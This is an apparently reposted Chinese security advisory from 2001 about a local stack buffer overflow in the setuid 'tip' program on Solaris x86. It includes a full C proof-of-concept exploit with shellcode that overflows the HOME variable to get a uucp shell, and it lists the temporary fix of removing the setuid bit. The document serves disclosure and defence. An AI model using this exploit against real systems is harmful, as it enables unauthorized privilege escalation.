安全研究

安全漏洞
Solaris tip 本地缓冲区溢出漏洞

发布日期:2001-03-29
更新日期:2001-03-29

受影响系统:

Solaris 8 x86
Solaris 7 x86
Solaris 2.6 x86
Solaris 2.5.1 x86
Solaris 2.5 x86
描述:

Solaris 下的tip程序缺省被设置了setuid uucp属性。它在处理环境变量时没有检查
HOME变量的数据长度,如果用户设置一个很长的字符串,将导致发生一个堆栈溢出。

攻击者可以获取uucp用户的权限,进一步获取root权限也是可能的。

此漏洞在x86平台下是可被攻击的,而在SPARC平台下看起来是难以被利用的。
Pablo Sor, Buenos Aires, Argentina

<*来源:Pablo Sor (psor@afip.gov.ar)
        Buenos Aires, Argentina
*>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Pablo Sor (psor@afip.gov.ar) 提供了下列测试代码:

#include <fcntl.h>

/*
   /usr/bin/tip overflow proof of conecpt.


   Pablo Sor, Buenos Aires, Argentina 03/2001
   psor@afip.gov.ar

   works against x86 solaris 7,8

   default offset should work.

*/


long get_esp() { __asm__("movl %esp,%eax"); }

int main(int ac, char **av)
{

char shell[]=
"\xeb\x0a\x9a\x01\x02\x03\x5c\x07\x04\xc3\xeb\x05"
"\xe8\xf9\xff\xff\xff\x5e\x29\xc0\x88\x46\xf7\x89\x46\xf2"
"\x50\xb0\x8d\xe8\xe0\xff\xff\xff\x6a\x05\x90\xb0\x17\xe8\xd6\xff\xff\xff"
"\xeb\x1f\x5e\x8d\x1e\x89\x5e\x0b\x29\xc0\x88\x46\x19\x89\x46\x14"
"\x89\x46\x0f\x89\x46\x07\xb0\x3b\x8d\x4e\x0b\x51\x51\x53\x50\xeb\x18"
"\xe8\xdc\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78\x01\x01\x01\x01\x02\x02"
"\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

  unsigned long magic = get_esp() + 0x50;  /* default offset */
  unsigned char buf[600];

  symlink("/bin/ksh","/tmp/xx");
  memset(buf,0x90,600);
  buf[599]=0;
  memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell));
  memcpy(buf,"HOME=",5);
  memcpy(buf+265,&magic,4);
  putenv(buf);

  system("/usr/bin/tip 5");
  unlink("/tmp/xx");
}



建议:

临时解决方法:

NSFOCUS建议您暂时取消/usr/bin/tip的setuid属性

厂商补丁:
暂无



浏览次数:3813
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障